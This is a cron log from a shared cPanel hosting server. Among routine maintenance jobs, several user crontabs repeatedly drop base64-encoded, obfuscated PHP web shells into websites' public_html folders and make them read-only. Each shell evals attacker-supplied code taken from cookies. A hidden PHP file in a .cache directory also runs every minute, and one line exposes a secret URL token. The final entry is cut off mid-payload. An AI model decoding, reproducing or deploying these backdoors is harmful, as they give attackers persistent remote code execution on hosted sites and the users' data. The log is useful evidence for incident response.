Jun  7 08:40:01 medusa CROND[20865]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 08:40:01 medusa CROND[20868]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:40:01 medusa CROND[20872]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20874]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:40:01 medusa CROND[20856]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:40:01 medusa CROND[20873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:40:01 medusa CROND[20867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:40:01 medusa CROND[20877]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:40:01 medusa CROND[20852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:40:01 medusa CROND[20878]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 08:41:01 medusa CROND[22729]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:41:01 medusa CROND[22731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:41:01 medusa CROND[22732]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:41:01 medusa CROND[22733]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:41:01 medusa CROND[22734]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:41:01 medusa CROND[22735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:41:01 medusa CROND[22736]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:41:01 medusa CROND[22737]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:41:01 medusa CROND[22743]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:41:01 medusa CROND[22748]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:41:01 medusa CROND[22749]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:41:01 medusa CROND[22751]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:41:01 medusa CROND[22745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:41:01 medusa CROND[22754]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:42:01 medusa CROND[24381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:42:01 medusa CROND[24382]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:42:01 medusa CROND[24383]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:42:01 medusa CROND[24384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:42:01 medusa CROND[24385]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:42:01 medusa CROND[24386]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:42:01 medusa CROND[24387]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:42:01 medusa CROND[24388]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:42:01 medusa CROND[24398]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:42:01 medusa CROND[24399]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:42:01 medusa CROND[24401]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:42:01 medusa CROND[24404]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaX